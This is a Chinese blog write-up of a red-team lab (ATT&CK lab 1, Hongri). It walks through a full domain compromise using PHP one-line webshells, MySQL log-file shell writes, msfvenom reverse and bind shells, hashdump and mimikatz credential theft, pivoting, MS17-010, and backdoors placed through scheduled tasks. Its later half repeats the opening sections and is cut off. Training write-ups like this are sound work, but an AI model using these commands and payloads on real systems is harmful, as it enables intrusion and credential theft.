声明:该系列文章首发于公众号:Y1X1n安全,转载请注明出处!本公众号所分享内容仅用于网安爱好者之间的技术讨论,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本公众号及作者不承担相应的后果。
ATT&CK红队评估实战靶场-1
目录:
1. 环境配置
- 插播一点网络配置的姿势
2. 实战
-
2.1 信息收集
-
2.2 web站点探测
-
2.3 getshell
3 漏洞
-
3.1 目录遍历漏洞
-
3.2 存储型XSS
4. 信息收集
5. 主机密码收集
-
5.1 msf反弹shell
-
攻击机kali启动监听:star:
-
5.2 提权
-
5.3 获取密码
6. 内网信息收集
-
6.1 基本信息查询
-
6.2 内网访问可采用socks代理或MSF添加路由
-
6.3 arp扫描内网主机
-
6.4 内网探测
-
6.4 内网攻击
-
Metasploit->socks4a:star:
7. 横向移动
-
7.0 常规
-
7.1 文件读取(2K8-C盘共享传马)
1. 环境配置
名称 | IP | 角色 | |
---|---|---|---|
kali | 192.168.254.129---VMnet1 | 攻击机 | |
win7 | 192.168.254.130---VMnet1 192.168.52.143---VMnet2 | web服务器 | hongrisec@2019 |
win2k3 | 192.168.52.141---VMnet2 | 域成员 | hongrisec@2019 |
win2k8 | 192.168.52.138---VMnet2 | 域控 | hongrisec@2021 |
效果:同网段可ping通,win7开了防火墙,kali、2k3和2k8反过来ping均无法ping通
Kali:
kali
踩坑:win7添加网卡,配置ip后既无法ping通kail也无法ping通2k3和2k8
按照虚拟机原先的配置,不要修改。god.org域网络是配置好的,只需要添加一张网卡和kali处于同一个网络即可
win7:
win7
启动phpstudy
win7
1.1 🐷插播一点网络配置的姿势
VMware虚拟网络编辑器
-
当虚拟机ip为ipv6时,可设置
还原默认设置
-
kali配置任意ip
在网络-有线-手动设置
-
win7
2. 实战
2.1 信息收集
查找同网段存活主机
win7
探测开放端口,发现开放了80和3306
2.2 web站点探测
访问web服务,发现phpstudy探针,泄漏大量敏感信息
尝试扫描存在的站点
弱口令root/root进入后台;
按照官方文档这里还存在一个http://xxxx/yxcms站点,如下:
点击登录有一个登录/注册页面,这里存在一个验证码复用的漏洞:
-
随便注册了一个账号user/123456
-
user账号登录任意密码抓包,不刷新登录页(不将BP抓包关闭),爆破密码,可利用之前的验证码
另外,此处修改用户登录url参数即可找到后台http://192.168.254.130/yxcms/index.php?r=admin/index/login,即将原来的http://192.168.254.130/yxcms/index.php?r=member/index/login中member改为admin即可;
通过弱口令admin/123456进入后台;
🐷代码审计| yxcms app 1.4.6 漏洞集合
2.3 getshell
在前台模板创建中创建info.php一句换木马
需要知道其路径,大概看了下并没有办法直接读取,这里直接通过网站源码获取了路径
可以访问测试一下解析情况
http://192.168.254.130/yxcms/protected/apps/default/view/default/info.php
直接用蚁剑连接成功:
phpmyadmin后台getshell一般有以下几种方式:
-
select into outfile 直接写入
select "<?php @eval($_POST[yxcms]);?>" into outfile " C://phpstudy/www/info.php"
无法写入,show global variables like '%secure%'
查看变量secure-file-priv 值为NULL,尝试修改,预编译NULL无法修改;
查了下:变量secure-file-priv 这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
-
利用全局日志general_log
-
查看全局日志
show variables like '%general%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
-
开启全局日志
set global general_log=on
-
指定新的日志路径
set global general_log_file='C:/phpstudy/www/yxcms/info1.php'
此时全局日志已经开启并且已经指定为我们能访问的路径:
-
执行SQL语句以写入日志
select '<?php eval($_POST[yxcms]);?>'
访问日志文件
蚁剑连接
这里可以看下日志文件:
-
利用慢查询日志slow_query_log
慢查询日志用来记录在 MySQL 中执行时间超过指定时间的查询语句
🐷MySQL慢查询日志(Slow Query Log) (biancheng.net)
3.1查询慢查询日志目录
show variables like '%slow%';
# show variables like 'slow%';
# SHOW VARIABLES LIKE 'slow_query%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
3.2开启慢查询日志功能
set global slow_query_log=on;
3.3重新设置日志路径
set global slow_query_log_file='C:/phpStudy/WWW/info2.php';
3.4执行sql命令
select '<?php eval($_POST[godunt]);?>' from mysql.db where sleep(10);
-
利用错误日志
show variables like 'log_error'
set log_error='C:/phpStudy/WWW/info3.php'
变量“log_error”是只读变量
-
利用phpmyadmin本身版本漏洞
🐷PhpMyAdmin漏洞利用汇总
靶场版本为3.5.8.2
3 漏洞
3.1 目录遍历漏洞
3.2 存储型XSS
管理员后台审核,实际上这里点击“留言本”就会弹窗
审核后回到用户留言界面。多了如下留言,刷新就会弹窗
4. 信息收集
利用蚁剑的虚拟终端
(*) 基础信息
当前路径: C:/phpStudy/WWW/yxcms
磁盘列表: C:D:
系统信息: Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586
当前用户: Administrator
(*) 输入 ashelp 查看本地命令
C:\phpStudy\WWW\yxcms> net user
\STU1 的用户帐户
-------------------------------------------------------------------------------
Administrator Guest liukaifeng01
命令成功完成。
C:\phpStudy\WWW\yxcms> whoami
god\administrator
C:\phpStudy\WWW\yxcms> ipconfig -all
Windows IP 配置
主机名 . . . . . . . . . . . . . : stu1
主 DNS 后缀 . . . . . . . . . . . : god.org
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
DNS 后缀搜索列表 . . . . . . . . : god.org
以太网适配器 本地连接 4:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-37
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::b4ce:67c1:4816:2fd5%25(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.254.130(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.243.255
DHCPv6 IAID . . . . . . . . . . . : 721423401
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS 服务器 . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
TCPIP 上的 NetBIOS . . . . . . . : 已启用
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-2D
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::387b:f96b:cf2d:6df2%11(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.52.143(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.52.2
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS 服务器 . . . . . . . . . . . : 192.168.52.138
8.8.8.8
TCPIP 上的 NetBIOS . . . . . . . : 已启用
可以观察到,当前用户为Administrator,win7计算机名为STU1 ,且还存在liukaifeng01用户,存在域环境god.org,存在192.168.52.0/24的网段;
-
添加用户
net user srn7 P@ssword /add
# 添加用户
net localgroup administrators srn7 /add
# 将用户添加至管理员组
-
开启远程3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
连接失败,应该是防火墙的原因
解决方案:
-
关闭防火墙
netsh advfirewall set allprofiles state off
-
防火墙放行3389
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
-
隧道
为后续方便直接关闭防火墙;
CredSSP加密数据库修正问题
🐷远程桌面连接出现CredSSP的解决方法
5. 主机密码收集
5.1 msf反弹shell
可采用:
生成后门文件上传至目标机器反弹shell
利用其他漏洞获取shell如ms17_010等
生成Windows后门程序(Windows载荷)
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=7777 -f exe -o shell.exe
# 反向shell
攻击机kali启动监听⭐
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit
将刚才生成的shell.exe利用蚁剑上传至目标机器(win7)并运行,会看kali已经得到shell
输入screenshot可截图
meterpreter > screenshot Screenshot saved to: /root/WnKSWETR.jpeg
使用 meterpreter > help 可查看支持哪些命令
background
#返回,把meterpreter后台挂起
sessions -i
#查看已经获取的会话
sessions -i 1
#连接到指定序号的meterpreter会话已继续利用
5.2 提权
meterpreter > getuid
Server username: GOD\Administratormeterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
5.3 获取密码
-
抓取自动登录的密码
run windows/gather/credentials/windows_autologin
# 抓取自动登录的密码
meterpreter > run windows/gather/credentials/windows_autologin
[] Running against STU1 on session 2 [] The Host STU1 is not configured to have AutoLogon password
#在会话 2 上针对 STU1 运行 #主机 STU1 未配置为具有自动登录密码
-
未提权尝试使用此命令查询hashdump
run windows/gather/smart_hashdump
-
提权后抓取密码
hashdump
run hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
#可能是版本问题2021版kali需要使用run hashdump
也可使用下面这种方法:
run post/windows/gather/smart_hashdump
[!] SESSION 可能与此模块不兼容:
[!] * 缺少 Meterpreter 功能:stdapi_sys_process_set_term_size
[] 针对 STU1 运行模块
[] 如果连接,哈希值将保存到数据库中。
[+] 哈希值将以 JtR 密码文件格式保存在战利品中:
[] /root/.msf4/loot/20211105144910_default_192.168.254.130_windows.hashes_151319.txt
[] 倾销密码哈希...
[] 以 SYSTEM 身份运行,从注册表中提取哈希值
[] 获取启动密钥...
[] 使用 SYSKEY fd4639f4e27c79683ae9fee56b44393f 计算 hboot 密钥...
[] 获取用户列表和密钥...
[] 解密用户密钥...
[] 转储密码提示...
[] 在这个系统上没有有密码提示的用户
[] 倾销密码哈希...
[+] 管理员:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] srn7:1001:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
🐷密码格式
用户名称: RID:LM-HASH 值: NT-HASH 值,rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等;
LM-Hash和NT-Hash,这是对同一个密码的两种不同的加密方式,可采用MD5解密;
-
利用kiwi
load kiwi #加载kiwi扩展
creds_all #获取系统中的明文密码
此环境中并没有得到信息;
🐷
meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
[!] The "kiwi" extension has already been loaded.
[!] "mimikatz" 扩展名已被 "kiwi" 取代。 以后请使用这个。
[!] "kiwi" 扩展已经加载。
🐷
关于kiwi:
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
-
在目标机器上传mimikatz抓取密码
shell执行
privilege::debug#提升权限sekurlsa::logonpasswords
#抓取密码
exit可退出mimikatz和shell
6. 内网信息收集
6.1 基本信息查询
ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localgroup administrators 本机管理员[通常含有域用户]
net view 查看域信息
net view /domain 查询主域信息
net config workstation 当前的登录域与用户信息
net time /domain 判断主域
nslookup god.org nslookup 命令直接解析域名服务器
net user /domain 当前域的所有用户
route print 路由信息
net group "domain admins" /domain 域管理员的名字
如遇shell乱码问题可输入chcp 65001
缓解部分问题
-
补丁信息
run post/windows/gather/enum_patches
-
已安装软件
run post/windows/gather/enum_applications
6.2 内网访问可采用socks代理或MSF添加路由
-
查看路由信息
run get_local_subnets
# 已经拿下的目标本地路由表(win7),shell网络环境
该处已经包含目标路由信息;
-
添加内网路由
可全局指定session添加,也可进入某session后添加
run autoroute -s 192.168.52.0/24
# 给session 添加路由
MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达了那么就可以使用MSF来进行探测了。
:pig_nose:
meterpreter > run autoroute -h
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
[] Usage: run autoroute [-r] -s subnet -n netmask
[] Examples:
[] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[] run autoroute -p # Print active routing table
[] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
meterpreter > 运行 autoroute -h
[!] Meterpreter 脚本已弃用。 尝试发布/多/管理/自动路由。
[!] 示例:运行 post/multi/manage/autoroute OPTION=value [...]
[] 用法:运行自动路由 [-r] -s 子网 -n 网络掩码
[] 例子:
[] run autoroute -s 10.1.1.0 -n 255.255.255.0 # 添加路由到 10.10.10.1/255.255.255.0
[] run autoroute -s 10.10.10.1 # 网络掩码默认为 255.255.255.0
[] run autoroute -s 10.10.10.1/24 # CIDR 表示法也可以
[] run autoroute -p # 打印活动路由表
[] run autoroute -d -s 10.10.10.1 # 删除 10.10.10.1/255.255.255.0 路由
[] 使用“route”和“ipconfig” Meterpreter 命令来了解可用路由
[-] 弃用警告:此脚本已被 post/multi/manage/autoroute 模块取代
run autoroute -p
# 打印活动路由表,此处应该是session的路由信息
失败,不知为啥
说明:4表示session 4,攻击机如果要去访问52网段的资源,其下一跳是session 4
route print
route add 192.168.52.141 255.255.255.0 4route add 0.0.0.0 0.0.0.0 1
# 添加全网段的路由,这样只要被控机器可达的地址就都可访问
🐷后渗透阶段之基于MSF的路由转发
6.3 arp扫描内网主机
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
6.4 内网探测
192.168.254.130(win7)中自带了nmap,无需上传了,一般默认安装路径C:\Program Files (x86)\Nmap
nmap --script=vuln 192.168.52.141
# 扫描141存在的漏洞
C:\Windows\System32>cd C:\Program Files (x86)\Nmap cd C:\Program Files (x86)\Nmap
C:\Program Files (x86)\Nmap>nmap --script=vuln 192.168.52.141
nmap --script=vuln 192.168.52.141 Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-06 14:01 ?D1��������?����?? Nmap scan report for 192.168.52.141
Host is up (0.00s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
21/tcp open ftp
......
nmap --script=vuln 192.168.52.138
6.4 内网攻击
Metasploit->socks4a⭐
设置过程:
-
得到shell
-
添加路由
-
设置sock4a代理
-
设置proxychains
-
使用proxychains代理启动其他工具
当前环境:
Kali:192.168.254.129
win7:192.168.254.130/192.168.52.143
win2k3:192.168.52.141
win2k8:192.168.52.138
设置sock4a:
获取Metpreter后,添加路由,此时该Metpreter已经可达目标网络
设置sock4a代理,不能关闭msfconsole,目的为创造一条通道,该通道为上述Metpreter回话所在目标网络
SRVHOST 是服务端IP地址,默认是本机所有IP
SRVPORT 是Socks4a监听端口
此时可设置proxychains为本地ip地址127.0.0.1,端口为socks4a监听端口。启动代理其他工具,从而直接将流量由1080端口通过socks4a代理转发进目标网络;
proxychains msfconsole
这里需要注意,sock协议不支持ping命令(icmp)
sock4a:TELNET,FTP,HTTP等TCP协议;
sock5:TCP与UDP,并支持安全认证方案;
再看看192.168.52.141这台内网机器
proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141
靶机一些服务没有做自启动,所以作者的漏洞列表有一些漏洞无法利用,这里看到445未开启,先手动开启win2003的server服务
看到445端口已经开启,可以探测下系统版本
use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.141
run
-
ms08-067
search ms08-067
use exploit/windows/smb/ms08_067_netapi
set payload
show options
set lhost 192.168.254.129
set lport 5555
set rhosts 192.168.52.141
exploit
未成功;
-
RPC DCOM服务漏洞
search ms03-026
use exploit/windows/dcerpc/ms03_026_dcom
show options
set rhosts 192.168.52.141
set lhost 192.168.254.129
set lport 7777
exploit
未成功;
-
MS17-010
kali没有32位的利用模块 下载地址 将下载下来的Eternalblue-Doublepulsar-Metasploit-master的名字改为Eternalblue-Doublepulsar-Metasploit并将改完名后的整个目录复制到root目录下(需要解压2次,把最后一次解压名改为Eternalblue-Doublepulsar-Metasploit 并放到/root目录下
##复制Eternalblue-Doublepulsar-Metasploit下的eternalblue_doublepulsar.rb
root@kali:~/Eternalblue-Doublepulsar-Metasploit# cp eternalblue_doublepulsar.rb
/usr/share/metasploit-framework/modules/exploits/windows/smb
##安装框架
root@kali:~/Eternalblue-Doublepulsar-Metasploit# wine -h
##找不到命令按照以下步骤
root@kali:~/Eternalblue-Doublepulsar-Metasploit# dpkg --add-architecture i386 &&
apt-get update && apt-get install wine32
##重新加载
msf6 > reload_all
参考:
kali linux安装wine32,永恒之蓝msf下 ms17_010
smb(ms17-010)远程命令执行之msf
使用载荷
# search ms17-010
# 注意:有时候搜索ms17-010并不能找到刚才加载的32位载荷
# 需要使用search eternalblue,因为关键字不含ms17-010
search eternalblue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/eternalblue_doublepulsar
set payload
show options
set lhost 192.168.54.129
set lport 5555
set rhosts 192.168.52.141
set target 8
exploit
未成功;
proxychains-sock4a代理下:
仍然未成功;
用 auxiliary/admin/smb/ms17_010_command
添加一个用户,并加入管理 员组;
search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND net user srn7 p@ssword /add
exploitset COMMAND net localgroup administrators srn7 /add
set COMMAND net localgroup administrators
exploit
利用 exploit/windows/smb/ms17_010_psexec 尝试正向连接
search ms17-010
use exploit/windows/smb/ms17_010_psexec
show options
set rhosts 192.168.52.141
set payload
set lhost 192.168.254.129
set lport 6666
set SMBuser srn7
set SMBpass P@ssword
exploit
未成功;
利用 auxiliary/admin/smb/ms17_010_command 开启3389端口,远程连接桌面
search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
exploit
该种方法可能不成功,可尝试如下命令开启3389远程服务(win7、win2k3、winxp;关闭命令把如下0都换成1)
search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
直接在msf里rdesktop 192.168.52.141或者另起终端proxychains rdesktop 192.168.52.141 均可;
参考:
内网渗透常见端口转发方式
ProxyTunnels
Socks4 Proxy Pivoting with Metasploit⭐
记一次小白的第一次内网渗透
ATT&CK实战系列——红队实战(一)⭐⭐⭐
7. 横向移动
7.0 常规
-
探测192.168.52.138系统信息
use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.138
run
得到为win2008;
-
探测端口开放情况
nmap -p 1-1000 -Pn -sT 192.168.52.138
-
之前已经测试过存在ms17-010,此时利用ms17-010尝试拿下域控
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/meterpreter/reverse_tcp
或者
set payload windows/x64/meterpreter/bind_tcp
set lhsot 192.168.254.129
set lport 4444
set rhosts 192.168.52.138
set rhost 445
run
未成功,可能为防火墙的原因;
7.1 文件读取(2K8-C盘共享传马)
用win7连接域控的c盘共享,选择win7已得到域管理员账号 administrator 。
shell
net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
dir \\192.168.52.138\c$
-
定时任务连接shell
这里使用正向shell,不是这个,下面那个
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=8899 -f exe -o shell138.exe
# 生成的是反向shell,reverse_tcp逆转
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit
# 监听,等待靶机连过来
🐷
正反向shell:反向 reverse shell 就是通过我们监听,目标肉鸡运行 exe 我们就会收到一个反弹 shell;而正向就是目标肉鸡运行 exe,我们去连接肉鸡。
反向连接木马是攻击机开放端口,靶机连过来; 正向连接木马是靶机开放端口,攻击机连过去;(适用于目标机器不出网)
# 生成正向shell
msfvenom -p windows/shell_hidden_bind_tcp LPORT=8899 AHOST=192.168.52.138 -f exe > bind_shell123.exe
# 把新生成的bind_shell.exe复制到win2008
C:\phpStudy>copy c:\phpstudy\bind_shell.exe \\192.168.52.138\c$
C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
# 此处需要注意靶机密码可能要重置
# 攻击机连过去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run
每分钟执行
C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
定时执行
C:\phpStudy>schtasks /create /tn "srn7" /tr C:\bind_shell.exe /sc once /st 15:43 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
在windows上 定时执行 Schtasks命令详解(计划任务DOS批处理)
回到kali开启监听,失败...
-
已知win2008开启了IIS 7.0,上传asp一句话木马 <%execute request("srn7")%>
C:\phpStudy>copy C:\phpStudy\WWW\1.asp \\192.168.52.138\c$\inetpub\wwwroot
C:\phpStudy>dir \\192.168.52.138\c$\inetpub\wwwroot
关于这一部分我的机器有点抽风
成功的同学,可以在kali上利用proxychains做个代理启动蚁剑连接;
反过来看了下,问题应该是在msf马配错了
此处,应该是正向木马的问题
Hidden Bind Shell: Keep your shellcode hidden from scans
查看windows/shell_hidden_bind_tcp的参数
尝试各种配置无果......静下心找找资料先
查阅大量资料,发现AHOST应该是代理的地址
侦听来自某个 IP 的连接并生成一个命令外壳。如果连接不是来自 AHOST 中定义的 IP,shellcode 将回复一个 RST 数据包。这样,端口将显示为 “关闭”,帮助我们隐藏 shellcode。
Windows Command Shell, Hidden Bind TCP Inline
Hidden Bind Shell: Keep your shellcode hidden from scans
按照该原理
该木马配置应为如下:
因为是通过代理访问,该种方法只接受AHOST指定的ip的连接请求,所以应该填真实访问到192.168.52.138的ip
msfvenom -p windows/shell_hidden_bind_tcp AHOST=192.168.52.143 LPORT=9998 rhost=192.168.52.138 -f exe > hidden_shell.exe
# 攻击机连过去 msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.52.138 set lport 9998 run
如上图所示,目标确实接受了连接,但生成的session非常不稳定
nmap查看9998端口开放情况
nmap -sS 192.168.52.138 -PN -p 9998
Filtered(过滤的):由于报文无法到达指定的端口,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文(例如:type为3,code为13(communication administratively prohibit)报文)或者目标主机无应答,常常会将目标主机的状态设置为filtered。
在靶机上查看网络连接状态,9998是开放的
换个命令查看端口,意外发现又可以了
nmap -p 9998 -Pn -sT 192.168.52.138
尝试拿nc连接,得到了目标shell
此时查看网络连接状态
该方法得到的后门程序经常自行结束进程,暂不清楚原因
其他尝试-反弹shell:
思路:通过C盘共享win7向域控2K8上传msf马,设置计划任务使马定时开启,kali开启监听
-
生成马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.143 lport=9999 -f exe -o srn7final.exe
# 这里默认是生成在/root目录下的
-
win7连接域控C盘
net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
# 输入账号密码
dir \\192.168.52.138\c$
# 测试是否成功
-
上传马
-
上传到win7
upload srn7final.exe
search -f srn7final.exe
-
win7共享给域控
copy c:\phpstudy\srn7final.exe \\192.168.52.138\c$
-
设置计划任务启动木马
schtasks /create /tn "test123456" /tr C:\srn7final.exe /sc once /st 14.25 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
这里我也不知道成功了没😭
-
设置监听
-
监听win7的9999端口
msfconsole
use exploit/multi/handler
set lhost 192.168.52.143
set lport 9999
run
这里再次没收到shell
但是查看计划任务是运行了的
可能是之前路由掉了,不知道有没有关系🙅
run get_local_subnets #查看目标机器所在内网网端信息与公网网端信息。
run autoroute -s 192.168.52.0/24 # 添加路由,使msf能通过win7路由转发到52段
此时msf即可达52段
ARP扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
这里挂一下sock4a代理。使其他工具也能通过win7访问到52段
配置msf代理:
use auxiliary/server/socks_proxy set version 4a set srvport 1080 show options run
jobs
可以查看当前代理任务
使用其他工具时需要在命令前加proxychains,如下:
proxychains nmap -Pn -sT 192.168.52.141
这里又提了次权,系统权限
meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
设置计划任务每分钟执行
schtasks /Create /sc minute /mo 1 /tn "srn7123" /tr "C:\srn7final.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
成功拿到shell,执行命令有点卡
此时可以在任务管理器-显示所有用户的进程-在用户SYSTEM下发现该后门进程
三省吾身:本文记录的仅为多种渗透途径中的一部分,过几天会补一个CS的,其中也踩了一些坑,也有一些方法使用的可能不是很到位,希望各位师傅轻pen,欢迎交流!
目录:
1. 环境配置
-
1.1 插播一点网络配置的姿势
2. 实战
-
2.1 信息收集
-
2.2 web站点探测
-
2.3 getshell
3 漏洞
-
3.1 目录遍历漏洞
-
3.2 存储型XSS
4. 信息收集
5. 主机密码收集
-
5.1 msf反弹shell
-
攻击机kali启动监听:star:
-
5.2 提权
-
5.3 获取密码
6. 内网信息收集
-
6.1 基本信息查询
-
6.2 内网访问可采用socks代理或MSF添加路由
-
6.3 arp扫描内网主机
-
6.4 内网探测
-
6.4 内网攻击
-
Metasploit->socks4a:star:
7. 横向移动
-
7.0 常规
-
7.1 文件读取(2K8-C盘共享传马)
1. 环境配置
名称 | IP | 角色 | |
---|---|---|---|
kali | 192.168.254.129---VMnet1 | 攻击机 | |
win7 | 192.168.254.130---VMnet1 192.168.52.143---VMnet2 | web服务器 | hongrisec@2019 |
win2k3 | 192.168.52.141---VMnet2 | 域成员 | hongrisec@2019 |
win2k8 | 192.168.52.138---VMnet2 | 域控 | hongrisec@2021 |
效果:同网段可ping通,win7开了防火墙,kali、2k3和2k8反过来ping均无法ping通
Kali:
kali
踩坑:win7添加网卡,配置ip后既无法ping通kail也无法ping通2k3和2k8
按照虚拟机原先的配置,不要修改。god.org域网络是配置好的,只需要添加一张网卡和kali处于同一个网络即可
win7:
win7
启动phpstudy
win7
1.1 🐷插播一点网络配置的姿势
VMware虚拟网络编辑器
-
当虚拟机ip为ipv6时,可设置
还原默认设置
-
kali配置任意ip
在网络-有线-手动设置
-
win7
2. 实战
2.1 信息收集
查找同网段存活主机
win7
探测开放端口,发现开放了80和3306
2.2 web站点探测
访问web服务,发现phpstudy探针,泄漏大量敏感信息
尝试扫描存在的站点
弱口令root/root进入后台;
按照官方文档这里还存在一个http://xxxx/yxcms站点,如下:
点击登录有一个登录/注册页面,这里存在一个验证码复用的漏洞:
-
随便注册了一个账号user/123456
-
user账号登录任意密码抓包,不刷新登录页(不将BP抓包关闭),爆破密码,可利用之前的验证码
另外,此处修改用户登录url参数即可找到后台http://192.168.254.130/yxcms/index.php?r=admin/index/login,即将原来的http://192.168.254.130/yxcms/index.php?r=member/index/login中member改为admin即可;
通过弱口令admin/123456进入后台;
🐷代码审计| yxcms app 1.4.6 漏洞集合
2.3 getshell
在前台模板创建中创建info.php一句换木马
需要知道其路径,大概看了下并没有办法直接读取,这里直接通过网站源码获取了路径
可以访问测试一下解析情况
http://192.168.254.130/yxcms/protected/apps/default/view/default/info.php
直接用蚁剑连接成功:
phpmyadmin后台getshell一般有以下几种方式:
-
select into outfile 直接写入
select "<?php @eval($_POST[yxcms]);?>" into outfile " C://phpstudy/www/info.php"
无法写入,show global variables like '%secure%'
查看变量secure-file-priv 值为NULL,尝试修改,预编译NULL无法修改;
查了下:变量secure-file-priv 这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
-
利用全局日志general_log
-
查看全局日志
show variables like '%general%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
-
开启全局日志
set global general_log=on
-
指定新的日志路径
set global general_log_file='C:/phpstudy/www/yxcms/info1.php'
此时全局日志已经开启并且已经指定为我们能访问的路径:
-
执行SQL语句以写入日志
select '<?php eval($_POST[yxcms]);?>'
